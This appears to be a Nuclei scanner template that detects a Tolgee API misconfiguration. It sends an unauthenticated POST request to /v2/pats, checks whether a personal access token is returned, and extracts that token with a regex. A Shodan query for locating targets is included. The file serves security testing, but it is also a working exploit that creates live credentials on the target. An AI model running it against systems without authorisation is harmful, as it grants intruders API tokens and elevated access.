tolgee-api-anonymous: Tolgee API - Misconfiguration Anonymous Access

id: tolgee-api-anonymous

info:
  name: Tolgee API - Misconfiguration Anonymous Access
  author: matejsmycka
  severity: medium
  description: |
    The Tolgee API exposes the `/v2/pats` endpoint without requiring authentication, allowing attackers to create Personal Access Tokens (PATs). These tokens can then be leveraged to interact with the API and gain elevated privileges.
  reference:
    - https://docs.tolgee.io/api
  metadata:
    max-request: 1
    verified: true
    shodan-query: html:"tolgee"
  tags: api,tolgee,misconfig,intrusive,vuln

variables:
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST /v2/pats HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip

        {"description":"{{string}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"token":'
          - '"createdAt"'
        condition: and

      - type: word
        part: content_type
        words:
          - application/hal+json

      - type: status
        status:
          - 201

    extractors:
      - type: regex
        part: body
        regex:
          - '"token"\s*:\s*"([^"]+)"'
# digest: 4a0a00473045022100e23031084113d1d0adb27e474a21d1985b57ee43d92af9b18387874a40b4dd640220604e7e1f30b2236ade05e8fb36633bcda1cba35add907b312a7dd7fb787b728c:922c64590222798bb761d5b6d8e72950